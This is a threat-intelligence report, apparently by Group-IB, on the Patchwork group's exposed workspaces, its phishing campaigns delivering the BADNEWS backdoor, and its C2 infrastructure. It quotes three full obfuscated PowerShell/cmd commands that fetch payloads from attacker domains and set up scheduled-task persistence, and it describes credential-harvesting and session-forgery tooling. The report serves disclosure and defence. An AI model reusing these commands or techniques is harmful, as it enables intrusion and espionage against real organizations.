Group-IB Threat Intelligence researchers uncovered two exposed workspaces attributed to Patchwork, revealing links to multiple cyberespionage campaigns delivering the BADNEWS backdoor and providing insights into the group's tactics, tooling, and infrastructure.
Published
December 3, 2026
Key area
Advanced Persistent Threats
Key words
Patchwork, APT, Threat Intelligence, Open Directory, Phishing, SouthAsia
Intended readership
Cybersecurity analysts and corporate security teams, malware analysts and incident responders, cyber threat intelligence researchers and threat hunters, cyber investigators and digital forensics specialists, Computer Emergency Response Teams (CERTs), law enforcement investigators and cybercrime units
The Group-IB Threat Intelligence Team has identified two exposed workspaces attributed with high confidence to the India-nexus threat actor known as Patchwork. Left publicly accessible through open directories, these workspaces provided visibility into the group’s hands-on operations targeting government entities, telecommunications companies, and internet service providers in Pakistan and other neighboring countries.
The first open directory contained hundreds of scripts for reconnaissance, credential attacks and exploitation attempts against public-facing systems. Many of these scripts performed similar functions, with the observed activity resulting in limited confirmed access. The second directory contained password lists prepared for a brute-force attack. Notably, files left in the larger workspace linked its operators to a series of phishing campaigns delivering the BADNEWS backdoor, a malware family associated with Patchwork.
Analysis of these campaigns revealed how Patchwork leveraged compromised mailboxes, stolen genuine documents as decoys, DLL side-loading and C2 servers hidden behind cover websites. Overlaps in infrastructure enabled Group-IB researchers to identify additional linked campaigns targeting other countries, extending the scope of the investigation beyond the initially exposed workspaces. The findings provide a deeper understanding of how Patchwork conducts its operations and the infrastructure supporting its cyberespionage activities.
Discovery of two exposed Patchwork workspaces, offering a rare visibility into the group's operational practices and tooling used to target government, telecommunications and internet service provider networks.
Evidence from the operators’ own files linking the exposed workspaces to Patchwork’s phishing campaigns, connecting the group's hands-on intrusion attempts with its phishing operations.
A series of linked phishing campaigns using a consistent infection chain to deliver the BADNEWS backdoor, with targeting extending across multiple countries around the Indian subcontinent.
The reuse of compromised mailboxes and stolen legitimate documents in subsequent phishing campaigns, leveraging trusted organizational assets to target additional victims.
Infrastructure overlaps between the campaigns revealed fresh Patchwork command-and-control (C2) servers not yet associated with observed attack activity.
Group-IB customers can access comprehensive and up-to-date intelligence on Patchwork — including infrastructure, tooling, indicators, and activity tracking — via the Group-IB Threat Intelligence Portal.
Additional technical details on the malware referenced in this report are also available through Group-IB’s Malware Database and Malware Detonation Platform, providing behavioural analysis and sandbox reports for known samples.
For further insights into Patchwork’s operations, Group-IB Threat Intelligence customers can access the following campaign-specific intelligence reports and malware analysis:


The activity involved hands-on intrusion attempts and multiple phishing campaigns targeting government entities, telecommunications companies and internet service providers in Pakistan throughout 2026, with additional linked phishing campaigns targeting other countries. This targeting comes in alignment with Patchwork’s long-standing focus on Pakistan.
The phishing attacks follow similar patterns and align with the infection chains previously observed in Patchwork attacks, starting with a phishing email, often sent from a compromised mailbox, that delivers a RAR archive, usually password-protected, containing a malicious LNK file. Once opened, the LNK file runs an obfuscated PowerShell command that displays a decoy document, downloads a legitimate executable together with a malicious DLL and creates a scheduled task that runs the executable every minute, which side-loads the DLL and provides the adversary with remote control of the system through the BADNEWS backdoor.
Although the lures, delivery domains and side-loaded executables varied across the campaigns, the execution steps and the final payload remained mostly the same. Beyond the phishing campaigns, analysis of the exposed workspaces revealed that Patchwork operators also conducted reconnaissance, credential attacks and exploitation attempts against public-facing mail servers, web applications and network devices.

Figure 1. Overview of the Infection Chain
The phishing campaigns we analyzed used a variety of lures but shared a consistent sequence of delivery, execution, persistence and command and control, hence we track them as related activity. Based on these similarities, we track the campaigns as related activity. This section documents the stages of the infection chain as depicted in Figure 1.
The emails we recovered had been sent from compromised mailboxes of legitimate organizations and were written as routine business correspondence, asking the recipient to confirm a submission, verify a list or proceed with a piece of work without delay. Each email gave the password for a RAR archive in its body, and the archive was either attached to the email or, more often, hosted on a staging server and linked in the email. Because the archive is encrypted, automated inspection of the LNK file inside it may be limited.

Figure 2. Example of a phishing email sent from a compromised mailbox, with the archive password in its body.

Figure 2. Example of a phishing email sent from a compromised mailbox, with the archive password in its body.

Figure 2. Example of a phishing email sent from a compromised mailbox, with the archive password in its body.
The lures covered a narrow range of themes: official letters and notices, cybersecurity advisories, internal reports and support records, event invitations, and application forms for staff schemes. In the linked campaigns aimed at other countries, the same approach was applied to Chinese-language research, conference and energy-sector documents and to a document written for recipients in Sri Lanka.
Each archive contains a single LNK file named after a corresponding decoy document that is subsequently downloaded and displayed to the user. However, the LNK file points to a command interpreter rather than a document. Opening it runs an obfuscated command line. Although the obfuscation techniques varied between campaigns, the commands followed a consistent sequence of actions:
$ProgressPreference to SilentlyContinue.msvcp140.dll and vcruntime140.dll, under non descriptive file names, and drops them in C:\Users\Public or C:\Windows\Tasks. In some campaigns an additional data file holding the encrypted payload is downloaded as well.*6.?n?, so that the extracted LNK file is replaced by the decoy PDF. The archive itself is not modified.
Figure 3. Malicious LNK file execution flow, illustrating background payload deployment and victim-facing decoy activity.
We observed three variants of this command.
The most common variant, used in the campaigns against Pakistan, calls powershell.exe directly, in some cases with the -w 1 argument to hide its window. Cmdlet aliases are split with empty quotes, so that iw''r stands for Invoke-WebRequest, s''ap''s for Start-Process and r''en for Rename-Item, while schtasks is never written out and is resolved at run time through &(g''cm sch*). The protocol, the delivery domain and the staging folder are held in separate variables, so no complete URL appears in the command, and each file is fetched from a short two-part path and saved under a two-letter name before being renamed.
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ProgressPreference='SilentlyContinue';$a='https:';$b='C:\Users\Public';$d='paksecure.org'; iw''r $a//$d/q3/C2 -o $b\Advisory_2026.pdf;s''ap''s $b\Advisory_2026.pdf; iw''r -o $b\la $a//$d/q6/en;r''en $b\la $b\cef_frame.exe;iw''r -o $b\le $a//$d/q5/D7;r''en $b\le $b\cef_frame.dll;iw''r -o $b\lx $a//$d/q8/EV;r''en $b\lx $b\vcruntime140.dll;iw''r -o $b\ll $a//$d/q7/GW;r''en $b\ll $b\msvcp140.dll;c''p''i $b\Advisory_2026.pdf -d .;&(g''cm sch*) /c''r''e''a''te /''S''c minute /''tn MicrosoftEdgeUpdateTask /t''r $b\cef_frame /f;r''m *6.?n?;
The second variant appeared in the linked campaigns aimed at other countries. It starts from cmd.exe, in some cases launched through conhost.exe, and locates PowerShell with where p*s*ll.?x?, so that the string powershell.exe never appears on the command line. Downloads use wg''et with the https scheme itself split by quotes, and each file is fetched from a longer path that ends in a UUID. The files are saved with extensions padded with filler letters, such as .ezxzez, .dylyly and .dzlzlz, and their real names are restored by stripping those letters out.
cmd /c for /F %i in ('where p*s*ll.?x?') do %i -c $ProgressPreference = 'SilentlyContinue';$c='C:\Users'; [...] wg''et ht''tps://fysat.org/m3/31/9e663f77-a373-47d1-993a-b005d6be844e -OutFile $c\Public\cef_demo.ezxzez -UseB;g''c''i $c\Public\cef_demo.ezxzez ^| r''e''n -N {$_.Name -replace 'z',''}; [...] sc''hta''sks /c''r''ea''te /''S''c minute /''t''n'' GoogleUpdateTaskMachineBA /t''r $c\Public\cef_demo /f;ge''t-chi''ldite''m *6.?n? ^| r''i;
In the third variant, also seen in a linked campaign outside Pakistan, the command line first calls Pester.bat, a batch file that ships with the Pester testing module included in Windows PowerShell, and chains the rest of the command behind it, before locating PowerShell with the same where lookup. Inside PowerShell, the operators create an alias named john for wget and use it for every download, keep intermediate objects in variables created with New-Variable, and build the scheduled task with PowerShell’s own task cmdlets, using a trigger that fires one minute after installation and then repeats every minute.
C:\Windows\system32\cmd.exe /c ""C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\bin\Pester.bat" ;cmd /c for /F %i in ('where p*s*ll.?x?') do %i -c $ProgressPreference = 'SilentlyContinue';$b='C:\Users';$c='https:';set-ali''as john wget;john $c//navalinfo.org/c1/512deef6-48c2-478c-8a3d-8fca604889f9 -OutFile $b\Public\84578.pdf;sa''ps $b\Public\84578.pdf;john $c//navalinfo.org/c9/ec07ffc5-56b3-4315-b18c-975f2ed52f66 -OutFile $b\Public\vlc.ezxzez;$f=g''c''i $b\Public\vlc.ezxzez;r''e''n $f.Fullname ($f.Name -replace 'z','');john $c//navalinfo.org/c5/14cd6232-d786-424d-99fe-c7a4fd4df4a8 -OutFile $b\Public\libvlc.dzlzlz;$g=g''c''i $b\Public\libvlc.dzlzlz;r''e''n $g.Fullname ($g.Name -replace 'z','');john $c//navalinfo.org/c6/0937fd99-d39d-4c17-9624-b1caa0d1fa4c -OutFile $b\Public\msvcp140.dzlzlz;n''v -n h -va (g''c''i $b\Public\msvcp140.dzlzlz);r''e''n $h.Fullname ($h.Name -replace 'z','');john $c//navalinfo.org/c8/051eec9f-dc9e-408d-a1cb-7bbb66f3f862 -OutFile $b\Public\vcruntime140.dzlzlz;n''v -n e -va (g''c''i $b\Public\vcruntime140.dzlzlz);r''e''n $e.Fullname ($e.Name -replace 'z','');john $c//navalinfo.org/c7/d8ea08d3-6356-43af-9e50-7ebef6e3a0e9 -OutFile $b\Public\sys.ini;c''p''i $b\Public\84578.pdf -destination .;n''v -n us -va ([System.Security.Principal.WindowsIdentity]::GetCurrent().Name);n''v -n tr -va (New-Schedu''ledTaskT''rigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1) -RepetitionDuration (New-TimeSpan -Days 365));n''v -n ac -va (New-Sche''duledTas''kAct''ion -Ex vlc -WorkingDirectory $b\Public);n''v -n pr -va (New-Schedu''ledTas''kPrin''cipal -UserId $us);Register-Sche''duledTa''sk -TaskName GoogleUpdateTask -Tri $tr -Action $ac -Principal $pr;e''r''a''s''e *8.?n?"
Many of the decoys were genuine documents obtained from compromised mailboxes, which made the emails appear credible to recipients who work with the same systems, partners or authorities. In one case the operators reused an internal letter that was several years old and modified only the accompanying email to present the document as part of a current request. The decoys themselves were non-malicious PDF files with no scripts, links, or embedded malicious content. Their purpose was to maintain the recipient’s attention while the malicious payload was staged.

Figure 4. Examples of decoy documents shown to victims.

Figure 4. Examples of decoy documents shown to victims.

Figure 4. Examples of decoy documents shown to victims.

Figure 4. Examples of decoy documents shown to victims.

Figure 4. Examples of decoy documents shown to victims.

Figure 4. Examples of decoy documents shown to victims.

Figure 4. Examples of decoy documents shown to victims.

Figure 4. Examples of decoy documents shown to victims.
Persistence relied on a scheduled task that runs the downloaded executable every minute. The tasks were named after Google and Microsoft update services, and across the campaigns we observed GoogleReport, MicrosoftEdgeUpdateTask, GoogleTaskMachineQ, GoogleUpdateTaskMachineBA, GoogleUpdateTask and GoogleErrorReport.
The executable started by the task is either a legitimately signed program, such as programs signed by Tencent and NVIDIA (legitimate software misused by the operators without the involvement of its publishers), or a file carrying the name of a familiar Windows or third-party component, and in each case it loads a malicious DLL placed in the same folder. The pairs we observed are listed below.
| Executable | Side-loaded DLL | Additional payload file |
|---|---|---|
| cef_frame.exe | cef_frame.dll | cef.md (in one campaign only) |
| cef_demo.exe | cef_frame.dll | Not used |
| NVIDIA_Share.exe | libcef.dll | Nvidia.png |
| Cortana.exe | cortana.dll | Not used |
| SystemSettings.exe | SystemSettings.dll | readme.DAT |
| dpapimig.exe | SAMLIB.dll | Cisco.lib (in one campaign only) |
| java.exe | jli.dll | Update.dat |
| vlc.exe | libvlc.dll | sys.ini |
| Fondue.exe | APPWIZ.cpl | editor.dat |
The malicious DLLs are loaders built with MinGW that imitate the genuine library, in one case by borrowing its export names, and in most cases the backdoor is never written to disk in readable form. We observed three ways of storing the payload:
CryptDecrypt and AES-256In all three cases the decrypted backdoor runs only in memory.
The final payload in nearly all campaigns was BADNEWS. On start it collects the computer name, machine GUID and firmware information, and it then queries myexternalip[.]com for the victim’s public IP address and api.iplocation[.]net for the country that address belongs to.
BADNEWS communicates over HTTPS POST with a path made of two random twelve-character segments ending in .php. It runs two beacon loops in parallel, one sending a uid= parameter every 2.5 seconds with six Base64 fields joined by a custom separator, and the other sending cuud= and couth= parameters every 3.5 seconds. The beacon paths we observed are listed below.
| C2 domain | Beacon path |
|---|---|
| secscience[.]org | /sXwc0Gznwd3F/C3gwzSFOY0YX.php |
| graypark[.]org | /sXwc0Gznwd3F/C3gwzSFOY0YX.php |
| metaslate[.]org | /uBF7J3Oasiut/pE7rAq5Rz02L.php |
| techmomentum[.]org | /SqX55Z32TtCh/oA3gW185qmtI.php |
| techoption[.]org | /tHjFCiMNw5Bs/H7OG7pFMzFh5.php |
| webmajic[.]org | /A2Di9b0OMuxQ/fh4rfnHdEOr4.php |
Although the C2 servers issued no commands during our analysis, BADNEWS provides its operators with a well-established set of functions: running commands through cmd.exe and returning the output, listing directories, uploading files from the victim, downloading files and running downloaded executables, taking screenshots on request and logging keystrokes through a keyboard hook.
The linked campaigns targeting other countries delivered a modified build of the same family. In these chains the loader decrypts the additional data file into shellcode that maps the backdoor directly in memory, and the backdoor resolves the victim’s location through api.ipify[.]org and ip2c[.]org instead of the two services mentioned above. This build encrypts its traffic with Salsa20 and polls directory-style paths that do not end in .php, while keeping the command set and code structure of earlier BADNEWS samples.
During our analysis the infection chain ended with the beacons: the C2 servers accepted them, returned empty replies and delivered nothing further. Because the backdoor reports the victim’s public IP address and country with its first beacons and keeps beaconing whatever the result, we assess that the operators decide on the server side which victims are of interest, and the backdoor’s ability to download and run further files gives them the means to send additional tooling only to those victims.
The encrypted payload recovered in a November 2026 campaign was configured with a different C2 server (asiannetmark[.]org) separate from the server that received the beacons.
In another campaign we observed follow up operator activity after a victim is selected: a root certificate for GoProxy — an open-source proxy tool — was installed into the victim’s trusted root store and the system proxy settings were changed so that web traffic passed through a proxy on port 8080, which allows the operators to decrypt the victim’s HTTPS traffic and read the credentials and session data in it. Copies of TrustedInstaller.exe and systeminfo.exe were also placed on the machine without being run, which suggests preparation for further activity.
One of the linked campaigns delivered a different first payload. The executable started by its scheduled task, msdtc32.exe, is Protego, a small .NET downloader used by Patchwork, which was staged together with msdtctm.dll and a data file named editor.dat. Protego checks the victim’s public IP address through api.ipify[.]org, collects the machine’s hardware identifier and its list of installed software through WMI, and shows the victim a fake error message reading “Optional update delivery is not working” before sending POST requests to wtechnote[.]org at /c019e2b6b055-48d2/a5c5a153b6caddd7.php. The same fake error message was displayed in a later campaign that delivered BADNEWS, providing an additional indicator of a potential operational link between the two campaigns.
The following two campaigns illustrate how the previously described infection chain was implemented in practice. While the loader varied between campaigns, the remaining stages of the infection chain remained consistent.
The first campaign involved an email asking its recipients to confirm their proxy submission for the annual general meeting of a Pakistani mobile operator. The email was sent from a compromised mailbox of another organization, and its body contained a link to pksecure[.]org together with the password for the archive. The link served Ufone_annual_2026.rar, which holds a single LNK file, Ufone_annual_2026.lnk, whose target is powershell.exe and which is set to run minimized.


Figure 5. Properties of the malicious LNK file and the obfuscated command stored in its target field.
Opening the LNK file ran the direct PowerShell variant of the command, which downloaded the decoy and four other files from a second domain, paksecure[.]org, renamed them in C:\Users\Public and created a scheduled task named GoogleReport. The decoy, Ufone_annual_2026.pdf, was a genuine two-page meeting notice obtained from the compromised mailbox. The task runs cef_frame.exe, a legitimate executable signed by Tencent, which side-loads cef_frame.dll, a loader that exports TbsAppInstance, decrypts the BADNEWS backdoor stored inside it with CryptDecrypt and AES-256 and runs it in memory. The backdoor then beacons to secscience[.]org, whose origin server, 162.216.241[.]163, also hosts conteck[.]org.

Figure 6. Infection chain of the annual general meeting lure campaign.
![Infrastructure overlaps between secscience[.]org and conteck[.]org, revealing shared hosting and associated infrastructure](https://www.group-ib.com/wp-content/uploads/patchwork-exposed-draft-fig-7.png)
Figure 7. Infrastructure overlaps between secscience[.]org and conteck[.]org, revealing shared hosting and associated infrastructure.
We did not recover the email behind the second campaign, but its archive, ZONG.rar, followed the same pattern, with a single LNK file, ZONG.lnk, that staged its files in C:\Windows\Tasks instead of the public folder. The decoy, ZONG.pdf, is a genuine internal incident report about fiber outages on the network of another Pakistani mobile operator, obtained from a compromised mailbox. The report included a network diagram, a timeline of events and a root cause analysis, making it particularly relevant to anyone working on that network.
This campaign used a different loader. The scheduled task, MicrosoftEdgeUpdateTask, runs NVIDIA_Share.exe, a legitimate executable signed by NVIDIA, which side-loads a malicious libcef.dll that borrows the export names of the genuine Chromium Embedded Framework library. The DLL carries no payload of its own and instead reads Nvidia.png, an image downloaded alongside it, in which a 64-bit build of BADNEWS is stored after the image data and decoded with XOR and RC4. The command also downloaded the two Visual C++ runtime libraries, as it does in every campaign, but these were 32-bit builds that the 64-bit backdoor never uses, which suggests that the operators reuse the same download template without adapting it to the payload. The backdoor beacons to metaslate[.]org, whose origin server is 103.168.66[.]36.

Figure 8. Infection chain of the network incident report lure campaign.
The campaigns used two types of domains: staging domains and command-and-control (C2) domains. The staging domains host the archive, the decoy and the payload files, and carry names that suggest government, security, energy or academic services, such as paksecure[.]org, pakonline[.]org, paksecurity[.]org and pakdigital[.]org. Several of them served more than one campaign, and in one case the same payload was offered from two staging domains at the same time.
The C2 domains carry neutral, business-like names, were registered through Namecheap or Spaceship, in several cases behind a privacy service, and sit behind Cloudflare. Despite these measures, Group-IB researchers identified the underlying origin servers, which are listed below.
| C2 domain | Origin server |
|---|---|
| secscience[.]org | 162.216.241[.]163 |
| graypark[.]org | 103.215.74[.]70 |
| metaslate[.]org | 103.168.66[.]36 |
| techmomentum[.]org | 162.252.173[.]88 |
| techoption[.]org | 82.29.132[.]122 |
| webmajic[.]org | 5.252.177[.]229 |
| javacare[.]org | 72.51.57[.]5 |
| n3rcgovpk[.]org | 205.234.170[.]30 |
| arrayhouse[.]org | 193.226.78[.]46 |
| asiannetmark[.]org | 185.233.166[.]207 |
| gclsi-powers[.]org | 205.234.170[.]213 |
| futuregreenpower[.]org | 178.83.121[.]208, 142.202.191[.]210 |
| gcl-power[.]org | 74.119.193[.]15 |
| lkcert[.]org | 213.145.86[.]206 |
| wtechnote[.]org | 103.57.248[.]146 |
Table 1. C2 domains and associated origin servers identified during the investigation
To mask the purpose of this infrastructure, the operators placed cloned copies of legitimate websites on the origin servers. A visitor therefore sees the same legitimate-looking website whether the request goes to the C2 domain through Cloudflare or directly to the IP address of the server. The cloned websites included those for a university, a small software company, a travel company and an industrial equipment supplier. These organizations are not connected to the activity; their public websites were copied without their involvement.

Figure 9. Cloned copies of legitimate websites hosted on Patchwork’s C2 infrastructure.
The same cloned websites appear on servers beyond those used in the campaigns described above. The website returned by javacare[.]org and n3rcgovpk[.]org is also served by coolight[.]org, and the website returned by techmomentum[.]org is also served by technomod[.]org, webzcraft[.]org and seainfoweb[.]org. Two further domains, conteck[.]org and birdlogo[.]org, are hosted on origin servers that we had already identified. All of these domains follow the registration and hosting pattern of the group’s C2 infrastructure.
Through the analysis of shared SSL certificates, we identified additional domains linked to the staging domains used in the campaigns, such as asfpk[.]org, pakfileserver[.]org, boxmoto[.]org and pakpower[.]live.

Figure 10. Domains linked to the staging domains through shared SSL certificates.
A shared SSL certificate links pakonline[.]org to baykartach[.]com and to the infrastructure behind qavonix[.]org and gov-pksupport[.]org.
![Domains linked to pakonline[.]org](https://www.group-ib.com/wp-content/uploads/patchwork-exposed-draft-fig-11.png)
Figure 11. Domains linked to pakonline[.]org.
psca-gop[.]org shares SSL certificates with a group of energy-themed domains, such as pakpower[.]org, pkenergy[.]org and pakistanpower[.]org.
![Energy-themed domains linked to psca-gop[.]org](https://www.group-ib.com/wp-content/uploads/patchwork-exposed-draft-fig-12.png)
Figure 12. Energy-themed domains linked to psca-gop[.]org.
navalinfo[.]org shares an SSL certificate with a second domain, slweserver[.]org.
![navalinfo[.]org and slweserver[.]org](https://www.group-ib.com/wp-content/uploads/patchwork-exposed-draft-fig-13.png)
Figure 13. navalinfo[.]org and slweserver[.]org.
Group-IB Threat Intelligence researchers identified two separate open directories on different servers, which we refer to as “Workspace_A” and “Workspace_B” throughout this publication. Workspace_A contained the operators’ offensive toolkit, logs, and tool output documenting their activity, while Workspace_B contained only the password lists prepared for a single attack. All data analyzed from these workspaces was publicly accessible, and no access controls were bypassed to obtain it. Group-IB has notified the relevant parties of the identified campaigns and security weaknesses.
Workspace_A was a publicly accessible open directory that exposed the operators’ working environment. It contained shell and Python scripts, reconnaissance and scan results, saved web pages, captured application responses, server logs, password lists, Android application packages and packet captures. Although the directory contained references to penetration testing, including a compiled Python file named pk_pentest, every system it referenced belonged to organizations in Pakistan, and the activity included credential interception and session forgery.

Figure 14. Directory listing of Patchwork’s exposed workspace.

Figure 15. Directory listing from Workspace_A showing the compiled Python file pk_pentest.
The contents of Workspace_A provided detailed insights into the operators’ working practices and the organization of their offensive tooling. Reconnaissance output, credential attack scripts, exploits, mail server tooling and mobile application packages were stored alongside one another in a single flat directory. The same tools were copied across multiple folders, and many of the offensive scripts variations of earlier versions, with a single family running from probe2.sh to probe64.sh. The activity also occurred in short, concentrated bursts, with hundreds of files produced in a single day followed by periods of no activity.

Figure 16. Categories of tooling found in Workspace_A.

Figure 17. Repetition across the offensive scripts in Workspace_A.
The operators scanned large IP ranges and target IP lists to identify responsive hosts and exposed services, examined internet-facing applications for versions, exposed administrative interfaces and indicators of known vulnerabilities, and searched public pages and client-side JavaScript for API routes, service endpoints and exposed files. A separate group of scripts searched public pages, JavaScript files, API documentation and exposed code repositories for SMS gateway, one-time-password and messaging-service endpoints. The operators also acquired Android application packages of targeted services from third-party application stores and extracted the API hosts and routes embedded in them.
Credential attacks accounted for a large part of the activity. Common, default and organization-themed passwords were submitted to webmail, SSH, control panel and database interfaces. Single passwords were tested across multiple accounts within the same organization, while credentials and account names recovered from one place were reused on other authentication interfaces.
The operators also deployed a rogue IMAP service, fake_imap.py, which listened on ports 143 and 993, accepted any LOGIN or AUTHENTICATE request and printed the submitted credentials, and we observed its greeting on the exposed server itself, which confirms that it was running. A companion script, multi_target_attack.sh, then submitted login requests to a fixed list of Roundcube webmail instances with the _host parameter pointing at this service, in an attempt to have those webmail servers forward credentials to it.

Figure 18. Excerpt of fake_imap.py, a rogue IMAP service that accepts any login and records the submitted credentials.

Figure 18. Excerpt of fake_imap.py, a rogue IMAP service that accepts any login and records the submitted credentials.
Exposed configuration files and operational logs were harvested for credentials, encryption material and session values. After retrieving a backup copy of a Roundcube configuration file that contained the deployment’s encryption key, the operators wrote session_forgery.py shortly afterwards, used the key to build candidate roundcube_sessauth cookies and submitted them first to that mail interface and then to a fixed list of other Roundcube servers, while the same configuration values were tried against MySQL, IMAP and webmail logins.
In a second case, application logs retrieved from a mail server contained Control Web Panel autologin values, which were decoded and built into replay automation within minutes of collection, then tested across panel and webmail ports and as IMAP credentials. We found no evidence that either attempt produced an authenticated session.
The operators prepared target-specific exploitation requests against internet-facing web applications, mail systems and network devices. The software targeted included the Roundcube and Zimbra mail platforms, Control Web Panel, GeoServer, WordPress plugins and ASP.NET applications, and webshell uploads were attempted through HTTP PUT, WebDAV and application upload forms using PHP and JSP files. Many of these scripts carried CVE identifiers and version numbers in their names and comments, which are the operators’ own labels and which we did not treat as evidence that a vulnerability was present or exploited. A copy of GodPotato, a publicly available privilege escalation tool, was also present in the workspace, although we found no evidence of its use.
Against network devices the operators abused Cisco Smart Instal. Evidence recovered from the workspace confirmed that the operators obtained sensitive configuration data from a network device.
Using the API routes extracted from the mobile applications, a script named dump_all.sh requested each route without authentication. The recovered output confirmed that the operators obtained application data and additional technical information from exposed services.
The link between Workspace_A and Patchwork came from the operators’ own files. Among the files recovered from the open directory was a delivery failure notification for an email the operators had tried to send from a compromised mailbox. The mail server had rejected the message because it exceeded the recipient limit. We identified a copy of the same email, with the same sender, subject and sending date, that had reached its recipients and carried a link to pakonline[.]org. The bounce notification is timestamped 10:33 and the delivered copy 10:39 on the same day, which shows that the delivered email was sent from the same mailbox six minutes after the mail server rejected the message recorded in the workspace. This provides direct evidence linking the operators of Workspace_A to the independently observed phishing activity.

Figure 19. The bounce notification saved in the workspace matches a delivered Patchwork phishing email.
The infection chain behind that link matches the tradecraft we associate with Patchwork, further strengthening the attribution. The lure is hosted on a lookalike domain, delivered as a RAR archive containing a malicious LNK file, and followed by an obfuscated PowerShell command that installs a side-loaded DLL and keeps it running through a scheduled task disguised as a browser update. The same pattern repeats across the phishing campaigns described above, in which the side-loaded DLL carried BADNEWS, a backdoor associated with Patchwork, and several of the domains involved, including pakonline[.]org, ncciapk[.]org, javacare[.]org and techmomentum[.]org, belong to the same infrastructure cluster. One of the side-loading pairs, a Java launcher loading jli.dll, also repeats a combination that Patchwork has used since at least 2017.

Figure 20. Redacted excerpts of the bounce notification saved in the workspace (left) and the delivered phishing email (right).

Figure 20. Redacted excerpts of the bounce notification saved in the workspace (left) and the delivered phishing email (right).
Based on the evidence linking the operators of Workspace_A to the phishing campaign, the delivery of the BADNEWS backdoor, the infrastructure shared with earlier Patchwork campaigns and the group’s long-standing focus on Pakistan, we attribute this activity to Patchwork with HIGH confidence.
Workspace_B was a second open directory, hosted on a separate server, containing only two files. Both were password lists aimed at a single organization in Pakistan.

Figure 21. Directory listing of Workspace_B, which contained two credential files.
Each file pairs every mailbox with every candidate password, and the smaller list is contained within the larger one, which extends both the number of mailboxes and the number of passwords tried against each of them.

Figure 22. The two spray lists in Workspace_B are drawn to scale.
More than four in five of these passwords are variations of the organization’s own name, and roughly two in three are plain lowercase words with no digit or symbol, suggesting a high volume password spraying approach based on predictable guesses, rather than leaked or breached credentials.

Figure 23. Construction of the passwords in the two spray lists.
The activity described in this blog targeted Pakistan, China and Sri Lanka, with Pakistan being the primary focus. Workspace_A referenced more than a hundred organizations in Pakistan, of which roughly three in five were federal and provincial government bodies, about a quarter were private-sector organizations and the remainder were internet service providers and telecommunications companies.

Figure 24. Organizations referenced in Workspace_A, by sector.
The depth of this targeting varied considerably. Most organizations appear only a handful of times, in scan output or in target lists, while a small group of internet service providers, hosting companies and mail servers receive sustained attention across many scripts. Confirmed access, however, was limited to the cases described above. A reference in the workspace therefore indicates that an organization was of interest to the operators and does not, on its own, indicate a compromise.
The phishing campaigns described earlier followed the same pattern. Most were aimed at recipients in government departments, telecommunications companies and internet service providers in Pakistan. The campaigns used lures that impersonated telecommunications providers, federal and provincial government bodies, law enforcement agencies, a university, a transport operator and a port authority.In several cases the emails were sent from compromised mailboxes of organizations in the same sectors.
Outside Pakistan, the linked campaigns identified through shared infrastructure were aimed at China and Sri Lanka. In China, the lures addressed universities and research institutions, the aerospace sector and the energy sector. In Sri Lanka, the lure was written for personnel of the armed forces. The infrastructure also includes a lookalike domain imitating a Turkish defense technology company, although we did not observe a campaign that used it.
The exposed workspaces offered a rare view of Patchwork at work, providing insights into the group’s operational practices, offensive tooling, and intrusion attempts targeting government, telecommunications and internet service provider systems in Pakistan.,A delivery failure notification recovered from Workspace_A enabled Group-IB researchers to directly link the operators to the group’s phishing activity. Following that link, we documented a series of phishing campaigns,primarily targeting Pakistan, with additional campaigns targeting China and Sri Lanka. Nearly all of which relied on the same infection chain of a malicious LNK file, an obfuscated PowerShell command, a side-loaded DLL and a scheduled task that runs every minute.
The investigation revealed extensive reuse of offensive tooling and infrastructure, including hundreds of scripts, with one family of scripts ranging from probe2.sh to probe64.sh, password lists built from the target’s own name, and cover websites reused across campaigns. Despite the repetitive nature of these techniques, the recovered data provided evidence of successful data collection by the operators. The phishing campaigns also demonstrated the group’s ability to leverage compromised mailboxes and genuine internal documents to create credible lures for subsequent attacks. The findings highlight how persistent intrusion attempts, combined with the abuse of trusted communications and the reuse of offensive tooling , can pose a significant risk to targeted organizations.
Beyond the observed campaigns, the investigation identified additional infrastructure linked to Patchwork that may have been staged for future operations. These findings underscore the importance of continuous threat intelligence and proactive monitoring to identify emerging threats before they materialize into attacks. Organizations in the targeted sectors, particularly in Pakistan and the wider region, should remain vigilant for continued spearphishing and address the security gaps identified in this research. Group-IB continues to track Patchwork’s infrastructure and activity, and customers can access the indicators and detection rules from this research through the Group-IB Threat Intelligence portal.
Organizations can reduce their exposure to Patchwork’s activities by implementing the following measures, informed by the tactics and techniques observed across the exposed Workspaces and the phishing campaigns described in this blog.
/<12 characters>/<12 characters>.php.GoogleReport, MicrosoftEdgeUpdateTask, GoogleUpdateTaskMachineBA, GoogleErrorReport, GoogleTaskMachineQ and GoogleUpdateTask, especially when they run every minute from C:\Users\Public or C:\Windows\Tasks.C:\Users\Public and C:\Windows\Tasks, and on legitimate signed programs loading DLLs from those folders, which may indicate DLL side-loading.cmd.exe or conhost.exe with obfuscated cmdlet names or wildcard lookups such as where p*s*ll.?x?.myexternalip[.]com, api.iplocation[.]net, api.ipify[.]org or ip2c[.]org shortly before sending POST requests to recently registered domains.no vstack where it is not required, and restrict TCP port 4786 to authorized management systems.C:\Users\Public and C:\Windows\Tasks, and limit PowerShell for users who do not need it.| Tactic | Tactic ID | Technique ID | Technique |
|---|---|---|---|
| Reconnaissance | TA0043 | T1595.001 | Active Scanning: Scanning IP Blocks |
| Reconnaissance | TA0043 | T1595.002 | Active Scanning: Vulnerability Scanning |
| Reconnaissance | TA0043 | T1594 | Search Victim-Owned Websites |
| Resource Development | TA0042 | T1583.001 | Acquire Infrastructure: Domains |
| Resource Development | TA0042 | T1583.003 | Acquire Infrastructure: Virtual Private Server |
| Resource Development | TA0042 | T1586.002 | Compromise Accounts: Email Accounts |
| Resource Development | TA0042 | T1587.001 | Develop Capabilities: Malware |
| Resource Development | TA0042 | T1588.002 | Obtain Capabilities: Tool |
| Resource Development | TA0042 | T1608.001 | Stage Capabilities: Upload Malware |
| Resource Development | TA0042 | T1608.005 | Stage Capabilities: Link Target |
| Initial Access | TA0001 | T1190 | Exploit Public-Facing Application |
| Initial Access | TA0001 | T1566.001 | Phishing: Spearphishing Attachment |
| Initial Access | TA0001 | T1566.002 | Phishing: Spearphishing Link |
| Execution | TA0002 | T1047 | Windows Management Instrumentation |
| Execution | TA0002 | T1059.001 | Command and Scripting Interpreter: PowerShell |
| Execution | TA0002 | T1059.003 | Command and Scripting Interpreter: Windows Command Shell |
| Execution | TA0002 | T1204.001 | User Execution: Malicious Link |
